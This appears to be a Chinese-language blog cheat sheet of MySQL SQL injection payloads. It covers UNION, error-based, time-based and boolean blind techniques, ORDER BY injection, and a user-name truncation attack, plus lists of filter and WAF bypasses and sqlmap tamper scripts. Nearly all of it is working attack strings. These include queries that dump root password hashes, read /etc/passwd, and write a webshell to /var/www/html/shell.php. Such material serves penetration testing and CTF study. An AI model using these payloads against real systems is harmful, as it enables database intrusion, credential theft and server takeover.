2019-12-07

一些基本信息

MySQL版本 version()

当前用户名 user()

数据库名 database()

数据库路径 @@datadir

操作系统版本 @@version_compile_os

安装 MySQL 的安装路径 @@basedir

所有用户:

select group_concat(user) from mysql.user

用户hash:

select group_concat(password) from mysql.user where user='root'

所有数据库:

SELECT group_concat(schema_name) from information_schema.schemata

表名:

SELECT group_concat(table_name) from information_schema.tables where table_schema='库名'
//表中有主码约束,非空约束等完整性约束条件的才能用这个语句查询出来
SELECT group_concat(table_name) from information_schema.table_constraints where table_schema='库名'

字段名:

SELECT group_concat(column_name) from information_schema.columns where table_name='表名'

读文件:

SELECT load_file('/etc/passwd')

写文件:

SELECT '' into outfile '/var/www/html/shell.php'

UNION注入

注意:Mysql要大于5.0
找到注入点后获取字段数

order by num

查看哪些地方有字段的回显

id=-1 UNION SELECT 1,2...,n

获取系统数据库名

select null,null,schema_name from information_schema.schemata

直接获取当前数据库名

select null,null,...,database()

获取数据库中的表

select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()

获取表中的字段

select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and tadble_name=''

获取各个字段值

select null,group_concat(,) from 

报错注入

若有报错信息则选择报错注入

UpdateXml(有长度限制,最长32位)

id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

如果concat被过滤了,可以使用MAKE_SET函数

ExtractValue(有长度限制,最长32位)

id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))

如果concat被过滤了,可以使用MAKE_SET函数

exp(5.5.5以上)

普通查询
select exp(~(select*from(select user())x));

得到表名:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

得到列名:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

检索数据:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

mysql>5.5.53时,则不能返回查询结果

floor(需要三个函数支持)

Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;

count(*)、rand()、group by三者缺一不可

floor完整的注入流程

其余报错

GeometryCollection()

id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

polygon()

id =1 AND polygon((select * from(select * from(select user())a)b))

multipoint()

id = 1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring()

id = 1 AND multilinestring((select * from(select * from(select user())a)b))

linestring()

id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

multipolygon()

id =1 AND multipolygon((select * from(select * from(select user())a)b))

时间盲注

sleep

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23

if判断语句,条件为假,执行sleep

mysql> select sleep(5);


+----------+
| sleep(5) |
+----------+
|        0 |
+----------+
1 row in set (5.00 sec)

BENCHMARK

BENCHMARK(count,expr)

在运行过程中占用大量的cpu资源

mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
|                          0 |
+----------------------------+
1 row in set (2.79 sec)

笛卡尔积

' and if(ascii(substr((select database()),%d,1))<%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.tables C),1)#

查询数据量极大的表造成延时。

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+------------+
| count(*)   |
+------------+
| 2651020120 |
+------------+
1 row in set (1 min 51.05 sec)

GET_LOCK

GET_LOCK时间盲注攻击探索

利用限制
利用场景是有条件限制的:需要提供长连接。在Apache+PHP搭建的环境中需要使用 mysql_pconnect函数来连接数据库。
需要开两个session测试。
SESSION A

mysql> select get_lock('test',1);
+--------------------+
| get_lock('test',1) |
+--------------------+
|                  1 |
+--------------------+
1 row in set (0.00 sec)

SESSION B

mysql> select get_lock('test',5);
+--------------------+
| get_lock('test',5) |
+--------------------+
|                  0 |
+--------------------+
1 row in set (5.00 sec)

RLIKE

通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
|                                                           0 |
+-------------------------------------------------------------+
1 row in set (5.27 sec)

不正确正则

select if(substr((select 1)='1',1,1),concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1);

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

以上代码等同于 sleep(5)

布尔盲注

left(user(),1)>'r'  
right(user(),1)>'r'  
substr(user(),1,1)='r'  
mid(user(),1,1)='r' 
greatest("sed",database())= "sed" //返回最大值再与字符串比较
select least("sea",database())="sea"; //返回最小值再与字符串比较
    
//不使用逗号 
user() regexp '^[a-z]'
user() like 'root%' //注意_/%通配符,建议写脚本的时候时候写到字符集最后面
POSITION('root' in user())
mid(user() from 1 for 1)='r'
mid(user() from 1)='r'
substr(user() from 1 for 1)='r'
substr(user() from 1)='r'


ASCII()、ORD()和CHAR()函数一般用做辅助。

其他注入姿势

update、insert、delete注入

MySQL下Update、Insert注入方法

pow溢出报错

pow(x,y)表示计算x的y次方,当计算值过大时,会发生DOUBLE溢出,数据库报错

select 1 and if(1=1,1,pow(2,2222222222222222222))

过滤了延时语句,正常页面与错误页面没有区别,当sql语句出错时会返回自定义的错误页面。

XOR注入

admin'^(ascii(mid((password)from(i)))>j)^'1'='1'%23
或者
admin'^(ascii(mid((password)from(i)for(1)))>j)^'1'='1'%23

过滤了关键字:and、or
过滤了逗号,
过滤了空格

regexp注入

select (select语句) regexp '正则'

过滤了=、in、like

Order by 注入

ORDER BY {col_name | expr | position}, order by 后面可以跟字段名,表达式和字段的位置,字段的位置需要是整数型。
常规的payload贴上 Smile 师傅 Blog 里归纳的

/?order=IF(1=1,name,price) 通过name字段排序
/?order=IF(1=2,name,price) 通过price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序
/?order=IFNULL(NULL,price) 通过price字段排序
/?order=IFNULL(NULL,name) 通过name字段排序
/?order=rand(1=1) 
/?order=rand(1=2)
/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常 
/?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误 

利用regexp 
/?order=(select+1+regexp+if(1=1,1,0x00)) 正常 
/?order=(select+1+regexp+if(1=2,1,0x00)) 错误  

利用updatexml 
/?order=updatexml(1,if(1=1,1,user()),1) 正确
/?order=updatexml(1,if(1=2,1,user()),1) 错误  

利用extractvalue 
/?order=extractvalue(1,if(1=1,1,user())) 正确 
/?order=extractvalue(1,if(1=2,1,user())) 错误 

sleep
/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

数据猜解
通过下可以得知user()第一位为r,ascii码的16进制为0x72:
/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确
/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误

猜解当前数据库的表名:
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+
table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+
table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误

猜解指定表名中的列名:
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns
+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常

/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns
+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误

其他的

提一下之前 @Threezh1 出的题目 ORDER BY 注入

DNSlog SQL盲注

先知文章 浅谈DNSlog SQL盲注

Mysql约束攻击

在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)
在mysql数据库中当插入某个字段的值超过了预设的长度,mysql会自动造成截断

mysql>  create table user(id int primary key,user varchar(10),pwd varchar(20));
Query OK, 0 rows affected (0.38 sec)

mysql> insert into user value(1,'admin','123');
Query OK, 1 row affected (0.00 sec)

mysql> insert into user value(2,'admin          ','456');
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> select * from user;
+----+------------+------+
| id | user       | pwd  |
+----+------------+------+
|  2 | admin      | 456  |
|  1 | admin      | 123  |
+----+------------+------+
2 rows in set (0.00 sec)

mysql> select length(user) from user;
+--------------+
| length(user) |
+--------------+
|           10 |
|            5 |
+--------------+
2 rows in set (0.00 sec)
长度是不一样的,但是在受影响的版本中,id=2的user值admin          在前端登录处登录并且在后端验证中,admin
是等同id=1的user值admin的.

Bypass小结

过滤空格

两个空格代替一个空格,用Tab代替空格,注释代替空格

%20 %09 %0a %0b %0c %0d %a0 %00 
/**/  /*!*/

括号绕过空格

id=1'and(sleep(ascii(substr(database(),1,1))=109)) #

空格被过滤,括号没有被过滤,可以用括号绕过

过滤逗号

盲注(substr(),mid(),limit)

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

//对于limit可以使用offset来绕过
limit 0,1 等价于 limit 1 offset 0

直接替换为like注入

select user() like 'ro%'

注意通配符 %

union + join注入

union select 1,2     
#等价于
union select * from (select 1)a join (select 2)b

过滤比较符号

过滤了等号

原代码:select * from users where id =1

regexp: select * from users where id REGEXP '^1$'

!: select * from users where !(id1)

in: select 'user' in ('user');    字符串都是可以用16进制代替的. 

用函数绕过: strcmp(),locate(s1,s) , position(s1 in s) , instr(s,s1),  greatest()

过滤了大于小于

greatest(a,b),返回a和b中较大的那个数。
select * from users where id=1 and ord(mid(database(),0,1))>1
等价
select * from users where id=1 and greatest(ord(mid(database(),0,1)),123)=123

过滤了if

case…when…then…else来代替

select * from users where id=1 and if(1=1,sleep(5),0)

等价于:

select * from users where id=1 and case when 1=1 then sleep(5) else 0 end

绕过未知字段名的技巧

waf拦截了information_schema、columns、tables、database、schema等关键字或函数

innodb

MySQL 5.7之后的版本,在其自带的 mysql 库中,新增了 innodb_table_stats
innodb_index_stats
这两张日志表。如果数据表的引擎是 innodb
,则会在这两张表中记录表、键的信息 。

如果waf掉了information我们可以利用这两个表注入数据库名和表名。
限制:不能查询到字段名

select * from mysql.innodb_table_stats;

select * from mysql.innodb_index_stats;

sys

MySQL 5.7版中,新加入了sys schema,里面整合了各种资料库资讯
schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。

sqli-labs为例子

# schema_auto_increment_columns
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+



# schema_table_statistics_with_buffer
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

可以获取数据库中 表名 信息 , 后续获取数据两个思路

  1. join
  2. join using(xx)

无列名注入

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
..............

mysql> select `3` from (select 1,2,3 union select * from users)a limit 1,1;
+------+
| 3    |
+------+
| Dumb |
+------+
1 row in set (0.00 sec)

mysql> select `1`,`2`,`3` from (select 1,2,3 union select * from users)a limit 2,1;
+---+----------+------------+
| 1 | 2        | 3          |
+---+----------+------------+
| 2 | Angelina | I-kill-you |
+---+----------+------------+
1 row in set (0.00 sec)

当 ` 不能使用的时候,使用别名来代替:

select b from (select 1,2,3 as b,4,5 union select * from users)a;

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c union select * from users;
+----+----------+------------+
| 1  | 2        | 3          |
+----+----------+------------+
|  1 | 2        | 3          |
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
+----+----------+------------+
4 rows in set (0.00 sec)

mysql> select e.3 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)e;
+------------+
| 3          |
+------------+
| 3          |
| Dumb       |
| I-kill-you |
| p@ssword   |
+------------+
4 rows in set (0.00 sec)

mysql> select e.3 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)e limit 1 offset 3;
+----------+
| 3        |
+----------+
| p@ssword |
+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 union select (select e.3 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)e limit 1 offset 3)f,(select 1)g,(select 1)h;
+----------+----------+----------+
| id       | username | password |
+----------+----------+----------+
| 1        | Dumb     | Dumb     |
| p@ssword | 1        | 1        |
+----------+----------+----------+
2 rows in set (0.00 sec)

Sqlmap tamper

apostrophemask.py 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py 在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF